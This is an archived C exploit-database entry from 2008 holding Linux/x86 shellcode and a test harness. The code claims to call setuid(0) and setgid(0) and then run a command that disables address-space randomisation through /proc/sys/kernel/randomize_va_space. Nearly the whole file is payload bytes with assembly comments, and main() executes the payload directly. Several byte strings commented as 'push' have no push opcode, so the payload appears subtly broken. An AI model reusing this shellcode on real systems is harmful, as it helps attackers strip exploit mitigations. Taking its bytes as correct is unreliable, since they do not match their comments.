55 lines
No EOL
1.5 KiB
C
55 lines
No EOL
1.5 KiB
C
/*
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* Linux/x86 (Fedora 8) setuid(0) + setgid(0) + execve("echo 0 > /proc/sys/kernel/randomize_va_space")
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*
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* by LiquidWorm
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*
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* 2008 (c) www.zeroscience.org
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*
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* liquidworm [at] gmail.com
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*
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* 79 bytes.
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*
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*/
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char sc[] =
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"\x6a\x17" // push $0x17
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"\x58" // pop %eax
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"\x31\xdb" // xor %ebx, %ebx
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"\xcd\x80" // int $0x80
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"\x6a\x2e" // push $0x2e
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"\x58" // pop %eax
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"\x53" // push %ebx
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"\xcd\x80" // int $0x80
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"\x31\xd2" // xor %edx, %edx
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"\x6a\x0b" // push $0xb
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"\x58" // pop %eax
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"\x52" // push %edx
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"\x70\x61\x63\x65" // push $0x65636170
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"\x76\x61\x5f\x73" // push $0x735f6176
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"\x69\x7a\x65\x5f" // push $0x5f657a69
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"\x6e\x64\x6f\x6d" // push $0x6d6f646e
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"\x6c\x2f\x72\x61" // push $0x61722f6c
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"\x65\x72\x6e\x65" // push $0x656e7265
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"\x73\x2f\x2f\x6b" // push $0x6b2f2f73
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"\x2f\x2f\x73\x79" // push $0x79732f2f
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"\x70\x72\x6f\x63" // push $0x636f7270
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"\x20\x3e\x20\x2f" // push $0x2f203e20
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"\x68\x6f\x20\x30" // push $0x30206f68
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"\x2f\x2f\x65\x63" // push $0x63652f2f
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"\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp, %ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x89\xe1" // mov %esp, %ecx
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"\xcd\x80"; // int $0x80
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int main()
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{
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int (*fp)() = (int(*)())sc;
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printf("bytes: %u\n", strlen(sc));
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fp();
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}
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// milw0rm.com [2008-08-18]
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